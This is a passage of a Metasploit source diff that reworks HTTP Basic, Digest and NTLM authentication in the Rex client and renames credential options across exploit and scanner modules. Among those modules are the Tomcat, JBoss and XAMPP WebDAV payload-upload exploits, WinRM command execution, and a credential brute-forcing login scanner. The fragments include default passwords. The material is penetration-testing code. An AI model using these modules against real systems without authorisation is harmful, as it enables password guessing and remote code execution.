end # # Connects to the remote server if possible. # - # @param t [Fixnum] Timeout - # @see Rex::Socket::Tcp.create - # @return [Rex::Socket::Tcp] def connect(t = -1) # If we already have a connection and we aren't pipelining, close it. if (self.conn) @@ -383,30 +342,11 @@ class Client end # - # Sends a request and gets a response back - # - # If the request is a 401, and we have creds, it will attempt to complete - # authentication and return the final response + # Transmit an HTTP request and receive the response + # If persist is set, then the request will attempt + # to reuse an existing connection. # def send_recv(req, t = -1, persist=false) - res = _send_recv(req,t,persist) - if res and res.code == 401 and res.headers['WWW-Authenticate'] and have_creds? - res = send_auth(res, req.options, t, persist) - end - res - end - - # - # Transmit an HTTP request and receive the response - # - # If persist is set, then the request will attempt to reuse an existing - # connection. - # - # Call this directly instead of {#send_recv} if you don't want automatic - # authentication handling. - # - # @return [Response] - def _send_recv(req, t = -1, persist=false) @pipeline = persist send_request(req, t) res = read_response(t) @@ -417,332 +357,11 @@ class Client # # Send an HTTP request to the server # - # @param req [Request,#to_s] The request to send - # @param t (see #connect) def send_request(req, t = -1) connect(t) conn.put(req.to_s) end - # Validates that the client has creds - def have_creds? - !(self.username.nil?) && self.username != '' - end - - # - # Params - - # res = The 401 response we need to auth from - # opts = the opts used to generate the request that created this response - # t = the timeout for the http requests - # persist = whether to persist the tcp connection for HTTP Pipelining - # - # Parses the response for what Authentication methods are supported. - # Sets the corect authorization options and passes them on to the correct - # method for sending the next request. - def send_auth(res, opts, t, persist) - supported_auths = res.headers['WWW-Authenticate'] - if supported_auths.include? 'Basic' - if opts['headers'] - opts['headers']['Authorization'] = basic_auth_header(self.username,self.password) - else - opts['headers'] = { 'Authorization' => basic_auth_header(self.username,self.password)} - end - - req = request_cgi(opts) - res = _send_recv(req,t,persist) - return res - elsif supported_auths.include? "Digest" - opts['DigestAuthUser'] = self.username.to_s - opts['DigestAuthPassword'] = self.password.to_s - temp_response = digest_auth(opts) - if temp_response.kind_of? Rex::Proto::Http::Response - res = temp_response - end - return res - elsif supported_auths.include? "NTLM" - opts['provider'] = 'NTLM' - temp_response = negotiate_auth(opts) - if temp_response.kind_of? Rex::Proto::Http::Response - res = temp_response - end - return res - elsif supported_auths.include? "Negotiate" - opts['provider'] = 'Negotiate' - temp_response = negotiate_auth(opts) - if temp_response.kind_of? Rex::Proto::Http::Response - res = temp_response - end - return res - end - return res - end - - # Converts username and password into the HTTP Basic - # authorization string. - def basic_auth_header(username,password) - auth_str = username.to_s + ":" + password.to_s - auth_str = "Basic " + Rex::Text.encode_base64(auth_str) - end - - - # - # Opts - - # Inherits all the same options as send_request_cgi - # Also expects some specific opts - # DigestAuthUser - The username for DigestAuth - # DigestAuthPass - The password for DigestAuth - # DigestAuthIIS - IIS uses a slighlty different implementation, set this for IIS support - # - # This method builds new request to complete a Digest Authentication cycle. - # We do not persist the original connection , to clear state in preparation for our auth - # We do persist the rest of the connection stream because Digest is a tcp session - # based authentication method. - # - - def digest_auth(opts={}) - @nonce_count = 0 - - to = opts['timeout'] || 20 - - digest_user = opts['DigestAuthUser'] || "" - digest_password = opts['DigestAuthPassword'] || "" - - method = opts['method'] - path = opts['uri'] - iis = true - if (opts['DigestAuthIIS'] == false or self.config['DigestAuthIIS'] == false) - iis = false - end - - begin - @nonce_count += 1 - - resp = opts['response'] - - if not resp - # Get authentication-challenge from server, and read out parameters required - r = request_cgi(opts.merge({ - 'uri' => path, - 'method' => method })) - resp = _send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return nil - end - - if resp.code != 401 - return resp - end - return resp unless resp.headers['WWW-Authenticate'] - end - - # Don't anchor this regex to the beginning of string because header - # folding makes it appear later when the server presents multiple - # WWW-Authentication options (such as is the case with IIS configured - # for Digest or NTLM). - resp['www-authenticate'] =~ /Digest (.*)/ - - parameters = {} - $1.split(/,[[:space:]]*/).each do |p| - k, v = p.split("=", 2) - parameters[k] = v.gsub('"', '') - end - - qop = parameters['qop'] - - if parameters['algorithm'] =~ /(.*?)(-sess)?$/ - algorithm = case $1 - when 'MD5' then Digest::MD5 - when 'SHA1' then Digest::SHA1 - when 'SHA2' then Digest::SHA2 - when 'SHA256' then Digest::SHA256 - when 'SHA384' then Digest::SHA384 - when 'SHA512' then Digest::SHA512 - when 'RMD160' then Digest::RMD160 - else raise Error, "unknown algorithm \"#{$1}\"" - end - algstr = parameters["algorithm"] - sess = $2 - else - algorithm = Digest::MD5 - algstr = "MD5" - sess = false - end - - a1 = if sess then - [ - algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"), - parameters['nonce'], - @cnonce - ].join ':' - else - "#{digest_user}:#{parameters['realm']}:#{digest_password}" - end - - ha1 = algorithm.hexdigest(a1) - ha2 = algorithm.hexdigest("#{method}:#{path}") - - request_digest = [ha1, parameters['nonce']] - request_digest.push(('%08x' % @nonce_count), @cnonce, qop) if qop - request_digest << ha2 - request_digest = request_digest.join ':' - - # Same order as IE7 - auth = [ - "Digest username=\"#{digest_user}\"", - "realm=\"#{parameters['realm']}\"", - "nonce=\"#{parameters['nonce']}\"", - "uri=\"#{path}\"", - "cnonce=\"#{@cnonce}\"", - "nc=#{'%08x' % @nonce_count}", - "algorithm=#{algstr}", - "response=\"#{algorithm.hexdigest(request_digest)[0, 32]}\"", - # The spec says the qop value shouldn't be enclosed in quotes, but - # some versions of IIS require it and Apache accepts it. Chrome - # and Firefox both send it without quotes but IE does it this way. - # Use the non-compliant-but-everybody-does-it to be as compatible - # as possible by default. The user can override if they don't like - # it. - if qop.nil? then - elsif iis then - "qop=\"#{qop}\"" - else - "qop=#{qop}" - end, - if parameters.key? 'opaque' then - "opaque=\"#{parameters['opaque']}\"" - end - ].compact - - headers ={ 'Authorization' => auth.join(', ') } - headers.merge!(opts['headers']) if opts['headers'] - - # Send main request with authentication - r = request_cgi(opts.merge({ - 'uri' => path, - 'method' => method, - 'headers' => headers })) - resp = _send_recv(r, to, true) - unless resp.kind_of? Rex::Proto::Http::Response - return nil - end - - return resp - - rescue ::Errno::EPIPE, ::Timeout::Error - end - end - - # - # Opts - - # Inherits all the same options as send_request_cgi - # provider - What Negotiate Provider to use (supports NTLM and Negotiate) - # - # Builds a series of requests to complete Negotiate Auth. Works essentially - # the same way as Digest auth. Same pipelining concerns exist. - # - - def negotiate_auth(opts={}) - ntlm_options = { - :signing => false, - :usentlm2_session => self.config['usentlm2_session'], - :use_ntlmv2 => self.config['use_ntlmv2'], - :send_lm => self.config['send_lm'], - :send_ntlm => self.config['send_ntlm'] - } - - to = opts['timeout'] || 20 - opts['username'] ||= self.username.to_s - opts['password'] ||= self.password.to_s - - if opts['provider'] and opts['provider'].include? 'Negotiate' - provider = "Negotiate " - else - provider = 'NTLM ' - end - - opts['method']||= 'GET' - opts['headers']||= {} - - ntlmssp_flags = ::Rex::Proto::NTLM::Utils.make_ntlm_flags(ntlm_options) - workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) - domain_name = self.config['domain'] - - b64_blob = Rex::Text::encode_base64( - ::Rex::Proto::NTLM::Utils::make_ntlmssp_blob_init( - domain_name, - workstation_name, - ntlmssp_flags - )) - - ntlm_message_1 = provider + b64_blob - - begin - # First request to get the challenge - opts['headers']['Authorization'] = ntlm_message_1 - r = request_cgi(opts) - resp = _send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return nil - end - - return resp unless resp.code == 401 && resp.headers['WWW-Authenticate'] - - # Get the challenge and craft the response - ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/i).flatten[0] - return resp unless ntlm_challenge - - ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge) - blob_data = ::Rex::Proto::NTLM::Utils.parse_ntlm_type_2_blob(ntlm_message_2) - - challenge_key = blob_data[:challenge_key] - server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error - default_name = blob_data[:default_name] || '' #netbios name - default_domain = blob_data[:default_domain] || '' #netbios domain - dns_host_name = blob_data[:dns_host_name] || '' #dns name - dns_domain_name = blob_data[:dns_domain_name] || '' #dns domain - chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' #Client time - - spnopt = {:use_spn => self.config['SendSPN'], :name => self.hostname} - - resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = ::Rex::Proto::NTLM::Utils.create_lm_ntlm_responses( - opts['username'], - opts['password'], - challenge_key, - domain_name, - default_name, - default_domain, - dns_host_name, - dns_domain_name, - chall_MsvAvTimestamp, - spnopt, - ntlm_options - ) - - ntlm_message_3 = ::Rex::Proto::NTLM::Utils.make_ntlmssp_blob_auth( - domain_name, - workstation_name, - opts['username'], - resp_lm, - resp_ntlm, - '', - ntlmssp_flags - ) - - ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3) - - # Send the response - opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3}" - r = request_cgi(opts) - resp = _send_recv(r, to, true) - unless resp.kind_of? Rex::Proto::Http::Response - return nil - end - return resp - - rescue ::Errno::EPIPE, ::Timeout::Error - return nil - end - end # # Read a response from the server # @@ -1220,9 +839,6 @@ class Client # attr_accessor :proxies - # Auth - attr_accessor :username, :password - # When parsing the request, thunk off the first response from the server, since junk attr_accessor :junk_pipeline diff --git a/lib/rex/proto/http/request.rb b/lib/rex/proto/http/request.rb index af88fdcb68..45d13b2bae 100644 --- a/lib/rex/proto/http/request.rb +++ b/lib/rex/proto/http/request.rb @@ -48,8 +48,6 @@ class Request < Packet end end - attr_accessor :options - # # Initializes an instance of an HTTP request with the supplied method, URI, # and protocol. diff --git a/modules/auxiliary/gather/shodan_search.rb b/modules/auxiliary/gather/shodan_search.rb index 6f63b7b95d..8b114dbdd8 100644 --- a/modules/auxiliary/gather/shodan_search.rb +++ b/modules/auxiliary/gather/shodan_search.rb @@ -38,10 +38,10 @@ class Metasploit4 < Msf::Auxiliary )) # disabling all the unnecessary options that someone might set to break our query - deregister_options('RPORT','RHOST', 'DOMAIN', + deregister_options('RPORT','RHOST', 'BasicAuthPass', 'BasicAuthUser', 'DOMAIN', 'DigestAuthIIS', 'SSLVersion', 'NTLM::SendLM', 'NTLM::SendNTLM', 'NTLM::SendSPN', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', - 'NTLM::UseNTLMv2', 'SSL') + 'NTLM::UseNTLMv2', 'DigestAuthPassword', 'DigestAuthUser', 'SSL') register_options( [ diff --git a/modules/auxiliary/scanner/http/cisco_device_manager.rb b/modules/auxiliary/scanner/http/cisco_device_manager.rb index 9486262be7..fd57fda9bb 100644 --- a/modules/auxiliary/scanner/http/cisco_device_manager.rb +++ b/modules/auxiliary/scanner/http/cisco_device_manager.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'Cisco Device HTTP Device Manager Access', 'Description' => %q{ This module gathers data from a Cisco device (router or switch) with the device manager - web interface exposed. The USERNAME and PASSWORD options can be used to specify + web interface exposed. The BasicAuthUser and BasicAuthPass options can be used to specify authentication. }, 'Author' => [ 'hdm' ], @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{rhost}:#{rport} Successfully authenticated to this device") # Report a vulnerability only if no password was specified - if datastore['PASSWORD'].to_s.length == 0 + if datastore['BasicAuthPass'].to_s.length == 0 report_vuln( { diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index 076bb36d70..5a6b0ab9a6 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary [ ], - 'Author' => [ 'hdm' , 'thelightcosine'], + 'Author' => [ 'hdm' ], 'References' => [ [ 'CVE', '1999-0502'] # Weak password @@ -48,7 +48,9 @@ class Metasploit3 < Msf::Auxiliary register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ]) end - def find_auth_uri + def find_auth_uri_and_scheme + + path_and_scheme = [] if datastore['AUTH_URI'] and datastore['AUTH_URI'].length > 0 paths = [datastore['AUTH_URI']] else @@ -78,9 +80,21 @@ class Metasploit3 < Msf::Auxiliary next if not res end - return path + next if not res.code == 401 + next if not res.headers['WWW-Authenticate'] + path_and_scheme << path + case res.headers['WWW-Authenticate'] + when /Basic/i + path_and_scheme << "Basic" + when /NTLM/i + path_and_scheme << "NTLM" + when /Digest/i + path_and_scheme << "Digest" + end + return path_and_scheme end + return path_and_scheme end def target_url @@ -97,7 +111,7 @@ class Metasploit3 < Msf::Auxiliary print_error("You need need to set AUTH_URI when using PUT Method !") return end - @uri = find_auth_uri() + @uri, @scheme = find_auth_uri_and_scheme() if ! @uri print_error("#{target_url} No URI found that asks for HTTP authentication") return @@ -105,7 +119,12 @@ class Metasploit3 < Msf::Auxiliary @uri = "/#{@uri}" if @uri[0,1] != "/" - print_status("Attempting to login to #{target_url}") + if ! @scheme + print_error("#{target_url} Incompatible authentication scheme") + return + end + + print_status("Attempting to login to #{target_url} with #{@scheme} authentication") each_user_pass { |user, pass| do_login(user, pass) @@ -114,23 +133,27 @@ class Metasploit3 < Msf::Auxiliary def do_login(user='admin', pass='admin') vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'") + success = false + proof = "" - response = do_http_login(user,pass) - result = determine_result(response) + ret = do_http_login(user,pass,@scheme) + return :abort if ret == :abort + if ret == :success + proof = @proof.dup + success = true + end - return :abort if result == :abort - - if result == :success + if success print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") any_user = false any_pass = false vprint_status("#{target_url} - Trying random username with password:'#{pass}'") - any_user = determine_result(do_http_login(Rex::Text.rand_text_alpha(8), pass)) + any_user = do_http_login(Rex::Text.rand_text_alpha(8), pass, @scheme) vprint_status("#{target_url} - Trying username:'#{user}' with random password") - any_pass = determine_result(do_http_login(user, Rex::Text.rand_text_alpha(8))) + any_pass = do_http_login(user, Rex::Text.rand_text_alpha(8), @scheme) if any_user == :success user = "anyuser" @@ -152,7 +175,7 @@ class Metasploit3 < Msf::Auxiliary :sname => (ssl ? 'https' : 'http'), :user => user, :pass => pass, - :proof => "WEBAPP=\"Generic\", PROOF=#{response.to_s}", + :proof => "WEBAPP=\"Generic\", PROOF=#{proof}", :source_type => "user_supplied", :active => true ) @@ -165,28 +188,143 @@ class Metasploit3 < Msf::Auxiliary end end - def do_http_login(user,pass) - begin - response = send_request_cgi({ - 'uri' => @uri, - 'method' => datastore['REQUESTTYPE'], - 'username' => user, - 'password' => pass - }) - return response - rescue ::Rex::ConnectionError - vprint_error("#{target_url} - Failed to connect to the web server") - return nil + def do_http_login(user,pass,scheme) + case scheme + when /NTLM/i + do_http_auth_ntlm(user,pass) + when /Digest/i + do_http_auth_digest(user,pass,datastore['REQUESTTYPE']) + when /Basic/i + do_http_auth_basic(user,pass) + else + vprint_error("#{target_url}: Unknown authentication scheme") + return :abort end end - def determine_result(response) - return :abort unless response.kind_of? Rex::Proto::Http::Response - return :abort unless response.code - return :success if [200, 301, 302].include?(response.code) + def do_http_auth_ntlm(user,pass) + begin + resp,c = send_http_auth_ntlm( + 'uri' => @uri, + 'username' => user, + 'password' => pass + ) + c.close + return :abort if (resp.code == 404) + + if [200, 301, 302].include?(resp.code) + @proof = resp + return :success + end + + rescue ::Rex::ConnectionError + vprint_error("#{target_url} - Failed to connect to the web server") + return :abort + end + return :fail end + def do_http_auth_basic(user,pass) + user_pass = Rex::Text.encode_base64(user + ":" + pass) + begin + res = send_request_cgi({ + 'uri' => @uri, + 'method' => 'GET', + 'headers' => + { + 'Authorization' => "Basic #{user_pass}", + } + }, 25) + + unless (res.kind_of? Rex::Proto::Http::Response) + vprint_error("#{target_url} not responding") + return :abort + end + + return :abort if (res.code == 404) + + if [200, 301, 302].include?(res.code) + @proof = res + return :success + end + + rescue ::Rex::ConnectionError + vprint_error("#{target_url} - Failed to connect to the web server") + return :abort + end + + return :fail + end + + def do_http_auth_digest(user,pass,requesttype) + path = datastore['AUTH_URI'] || "/" + begin + if requesttype == "PUT" + res,c = send_digest_request_cgi({ + 'uri' => path, + 'method' => requesttype, + 'data' => 'Test123\r\n', + #'DigestAuthIIS' => false, + 'DigestAuthUser' => user, + 'DigestAuthPassword' => pass + }, 25) + elsif requesttype == "PROPFIND" + res,c = send_digest_request_cgi({ + 'uri' => path, + 'method' => requesttype, + 'data' => '', + #'DigestAuthIIS' => false, + 'DigestAuthUser' => user, + 'DigestAuthPassword' => pass, + 'headers' => { 'Depth' => '0'} + }, 25) + else + res,c = send_digest_request_cgi({ + 'uri' => path, + 'method' => requesttype, + #'DigestAuthIIS' => false, + 'DigestAuthUser' => user, + 'DigestAuthPassword' => pass + }, 25) + end + + unless (res.kind_of? Rex::Proto::Http::Response) + vprint_error("#{target_url} not responding") + return :abort + end + + return :abort if (res.code == 404) + + if ( [200, 301, 302].include?(res.code) ) or (res.code == 201) + if ((res.code == 201) and (requesttype == "PUT")) + print_good("Trying to delete #{path}") + del_res,c = send_digest_request_cgi({ + 'uri' => path, + 'method' => 'DELETE', + 'DigestAuthUser' => user, + 'DigestAuthPassword' => pass + }, 25) + if not (del_res.code == 204) + print_error("#{path} could be created, but not deleted again. This may have been noisy ...") + end + end + @proof = res + return :success + end + + if (res.code == 207) and (requesttype == "PROPFIND") + @proof = res + return :success + end + + rescue ::Rex::ConnectionError + vprint_error("#{target_url} - Failed to connect to the web server") + return :abort + end + + return :fail + end end diff --git a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb index 75f88e7ed3..65ab691e66 100644 --- a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb +++ b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb @@ -87,6 +87,10 @@ class Metasploit3 < Msf::Auxiliary vprint_error("http://#{rhost}:#{rport}#{uri} - No response") return end + if res.code != 401 + vprint_error("http://#{rhost}:#{rport} - Authorization not requested") + return + end each_user_pass { |user, pass| do_login(user, pass) @@ -103,8 +107,10 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', - 'username' => user, - 'password' => pass + 'headers' => + { + 'Authorization' => "Basic #{user_pass}", + } }, 25) unless (res.kind_of? Rex::Proto::Http::Response) vprint_error("http://#{rhost}:#{rport}#{uri} not responding") diff --git a/modules/auxiliary/scanner/winrm/winrm_cmd.rb b/modules/auxiliary/scanner/winrm/winrm_cmd.rb index 88e9e717d6..12f0c70422 100644 --- a/modules/auxiliary/scanner/winrm/winrm_cmd.rb +++ b/modules/auxiliary/scanner/winrm/winrm_cmd.rb @@ -40,6 +40,10 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) + unless accepts_ntlm_auth + print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth" + return + end streams = winrm_run_cmd(datastore['CMD']) return unless streams.class == Hash print_error streams['stderr'] unless streams['stderr'] == '' diff --git a/modules/auxiliary/scanner/winrm/winrm_login.rb b/modules/auxiliary/scanner/winrm/winrm_login.rb index 946903113e..d8012fb723 100644 --- a/modules/auxiliary/scanner/winrm/winrm_login.rb +++ b/modules/auxiliary/scanner/winrm/winrm_login.rb @@ -39,8 +39,12 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) + unless accepts_ntlm_auth + print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth" + return + end each_user_pass do |user, pass| - resp = send_winrm_request(test_request) + resp,c = send_request_ntlm(test_request) if resp.nil? print_error "#{ip}:#{rport}: Got no reply from the server, connection may have timed out" return diff --git a/modules/auxiliary/scanner/winrm/winrm_wql.rb b/modules/auxiliary/scanner/winrm/winrm_wql.rb index 0c5eeb6274..ed09cfd583 100644 --- a/modules/auxiliary/scanner/winrm/winrm_wql.rb +++ b/modules/auxiliary/scanner/winrm/winrm_wql.rb @@ -42,7 +42,12 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - resp = send_winrm_request(winrm_wql_msg(datastore['WQL'])) + unless accepts_ntlm_auth + print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth" + return + end + + resp,c = send_request_ntlm(winrm_wql_msg(datastore['WQL'])) if resp.nil? print_error "Got no reply from the server" return diff --git a/modules/auxiliary/server/http_ntlmrelay.rb b/modules/auxiliary/server/http_ntlmrelay.rb index 080803918b..fda08e41c4 100644 --- a/modules/auxiliary/server/http_ntlmrelay.rb +++ b/modules/auxiliary/server/http_ntlmrelay.rb @@ -84,7 +84,8 @@ class Metasploit3 < Msf::Auxiliary 'IPC$,ADMIN$,C$,D$,CCMLOGS$,ccmsetup$,share,netlogon,sysvol']) ], self.class) - deregister_options('DOMAIN', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey', + deregister_options('BasicAuthPass', 'BasicAuthUser', 'DOMAIN', 'DigestAuthPassword', + 'DigestAuthUser', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2') end diff --git a/modules/exploits/linux/http/piranha_passwd_exec.rb b/modules/exploits/linux/http/piranha_passwd_exec.rb index 4312fa2bd4..d87027cadb 100644 --- a/modules/exploits/linux/http/piranha_passwd_exec.rb +++ b/modules/exploits/linux/http/piranha_passwd_exec.rb @@ -72,8 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('USERNAME', [true, 'The HTTP username to specify for basic authentication', 'piranha']), - OptString.new('PASSWORD', [true, 'The HTTP password to specify for basic authentication', 'q']), + OptString.new('BasicAuthUser', [true, 'The HTTP username to specify for basic authentication', 'piranha']), + OptString.new('BasicAuthPass', [true, 'The HTTP password to specify for basic authentication', 'q']), ], self.class) end @@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote end if res.code == 401 - print_error("401 Authorization Required! Our credentials were not accepted!") + print_error("401 Authorization Required! Our BasicAuthUser and BasicAuthPass credentials not accepted!") elsif (res.code == 200 and res.body =~ /The passwords you supplied match/) print_status("Command successfully executed (according to the server).") end diff --git a/modules/exploits/multi/http/axis2_deployer.rb b/modules/exploits/multi/http/axis2_deployer.rb index 9f030bbbc2..565d73a293 100644 --- a/modules/exploits/multi/http/axis2_deployer.rb +++ b/modules/exploits/multi/http/axis2_deployer.rb @@ -227,7 +227,9 @@ class Metasploit3 < Msf::Exploit::Remote authmsg = res.headers['WWW-Authenticate'] end print_error("The remote server responded expecting authentication") - if authmsg + if datastore['BasicAuthUser'] and datastore['BasicAuthPass'] + print_error("BasicAuthUser \"%s\" failed to authenticate" % datastore['BasicAuthUser']) + elsif authmsg print_error("WWW-Authenticate: %s" % authmsg) end cleanup_instructions(rpath, name) # display cleanup info diff --git a/modules/exploits/multi/http/jboss_bshdeployer.rb b/modules/exploits/multi/http/jboss_bshdeployer.rb index f350fe4984..07d5eb2ada 100644 --- a/modules/exploits/multi/http/jboss_bshdeployer.rb +++ b/modules/exploits/multi/http/jboss_bshdeployer.rb @@ -96,6 +96,9 @@ class Metasploit3 < Msf::Exploit::Remote def exploit + datastore['BasicAuthUser'] = datastore['USERNAME'] + datastore['BasicAuthPass'] = datastore['PASSWORD'] + jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8)) app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8)) diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index 2297b52569..7c36c1fa16 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -123,6 +123,9 @@ class Metasploit3 < Msf::Exploit::Remote def exploit + datastore['BasicAuthUser'] = datastore['USERNAME'] + datastore['BasicAuthPass'] = datastore['PASSWORD'] + jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8)) app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8)) diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb index 2757cb6e13..a46cd2c033 100644 --- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb +++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb @@ -112,6 +112,9 @@ class Metasploit3 < Msf::Exploit::Remote end def check + datastore['BasicAuthUser'] = datastore['USERNAME'] + datastore['BasicAuthPass'] = datastore['PASSWORD'] + res = query_serverinfo disconnect return CheckCode::Unknown if res.nil? @@ -124,8 +127,8 @@ class Metasploit3 < Msf::Exploit::Remote :host => rhost, :port => rport, :sname => (ssl ? "https" : "http"), - :user => datastore['USERNAME'], - :pass => datastore['PASSWORD'], + :user => datastore['BasicAuthUser'], + :pass => datastore['BasicAuthPass'], :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", :active => true ) @@ -161,6 +164,9 @@ class Metasploit3 < Msf::Exploit::Remote def exploit + datastore['BasicAuthUser'] = datastore['USERNAME'] + datastore['BasicAuthPass'] = datastore['PASSWORD'] + mytarget = target if (target.name =~ /Automatic/) mytarget = auto_target @@ -215,8 +221,8 @@ class Metasploit3 < Msf::Exploit::Remote :host => rhost, :port => rport, :sname => (ssl ? "https" : "http"), - :user => datastore['USERNAME'], - :pass => datastore['PASSWORD'], + :user => datastore['BasicAuthUser'], + :pass => datastore['BasicAuthPass'], :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", :active => true ) diff --git a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb index 3bfd6c668e..9865c8716b 100644 --- a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb +++ b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb @@ -67,6 +67,9 @@ class Metasploit3 < Msf::Exploit::Remote end def go(command) + datastore['BasicAuthUser'] = datastore['USERNAME'] + datastore['BasicAuthPass'] = datastore['PASSWORD'] + xml = <<-EOS diff --git a/modules/exploits/windows/http/easyftp_list.rb b/modules/exploits/windows/http/easyftp_list.rb index c337ecdeee..3484cdf86f 100644 --- a/modules/exploits/windows/http/easyftp_list.rb +++ b/modules/exploits/windows/http/easyftp_list.rb @@ -72,8 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ Opt::RPORT(8080), - OptString.new('USERNAME', [true, 'The HTTP username to specify for basic authentication', 'anonymous']), - OptString.new('PASSWORD', [true, 'The HTTP password to specify for basic authentication', 'mozilla@example.com']), + OptString.new('BasicAuthUser', [true, 'The HTTP username to specify for basic authentication', 'anonymous']), + OptString.new('BasicAuthPass', [true, 'The HTTP password to specify for basic authentication', 'mozilla@example.com']), ], self.class) end diff --git a/modules/exploits/windows/http/xampp_webdav_upload_php.rb b/modules/exploits/windows/http/xampp_webdav_upload_php.rb index c4d36a61f1..c19096b2c8 100644 --- a/modules/exploits/windows/http/xampp_webdav_upload_php.rb +++ b/modules/exploits/windows/http/xampp_webdav_upload_php.rb @@ -36,8 +36,8 @@ class Metasploit3 < Msf::Exploit::Remote [ OptString.new('PATH', [ true, "The path to attempt to upload", '/webdav/']), OptString.new('FILENAME', [ false , "The filename to give the payload. (Leave Blank for Random)"]), - OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', 'wampp']), - OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', 'xampp']) + OptString.new('RUSER', [ true, "The Username to use for Authentication", 'wampp']), + OptString.new('RPASS', [ true, "The Password to use for Authentication", 'xampp']) ], self.class) end @@ -46,10 +46,12 @@ class Metasploit3 < Msf::Exploit::Remote def exploit uri = build_path print_status "Uploading Payload to #{uri}" - res = send_request_cgi({ + res,c = send_digest_request_cgi({ 'uri' => uri, 'method' => 'PUT', - 'data' => payload.raw + 'data' => payload.raw, + 'DigestAuthUser' => datastore['RUSER'], + 'DigestAuthPassword' => datastore['RPASS'] }, 25) unless (res and res.code == 201) print_error "Failed to upload file!" diff --git a/modules/exploits/windows/winrm/winrm_script_exec.rb b/modules/exploits/windows/winrm/winrm_script_exec.rb index 62e343a798..666ca66d3d 100644 --- a/modules/exploits/windows/winrm/winrm_script_exec.rb +++ b/modules/exploits/windows/winrm/winrm_script_exec.rb @@ -66,8 +66,20 @@ class Metasploit3 < Msf::Exploit::Remote @compat_mode = false end - def exploit + def check + unless accepts_ntlm_auth + print_error "The Remote WinRM server does not appear to allow Negotiate (NTLM) auth" + return Msf::Exploit::CheckCode::Safe + end + return Msf::Exploit::CheckCode::Vulnerable + end + + + def exploit + unless check == Msf::Exploit::CheckCode::Vulnerable + return + end unless valid_login? print_error "Login Failure. Recheck your credentials" return @@ -129,7 +141,7 @@ class Metasploit3 < Msf::Exploit::Remote def temp_dir print_status "Grabbing %TEMP%" - resp = send_winrm_request(winrm_open_shell_msg) + resp,c = send_request_ntlm(winrm_open_shell_msg) if resp.nil? print_error "Got no reply from the server" return nil @@ -140,16 +152,16 @@ class Metasploit3 < Msf::Exploit::Remote end shell_id = winrm_get_shell_id(resp) cmd = "echo %TEMP%" - resp= send_winrm_request(winrm_cmd_msg(cmd, shell_id)) + resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id)) cmd_id = winrm_get_cmd_id(resp) - resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id)) + resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id)) streams = winrm_get_cmd_streams(resp) return streams['stdout'].chomp end def check_remote_arch wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"} - resp = send_winrm_request(winrm_wql_msg(wql)) + resp,c = send_request_ntlm(winrm_wql_msg(wql)) #Default to x86 if we can't 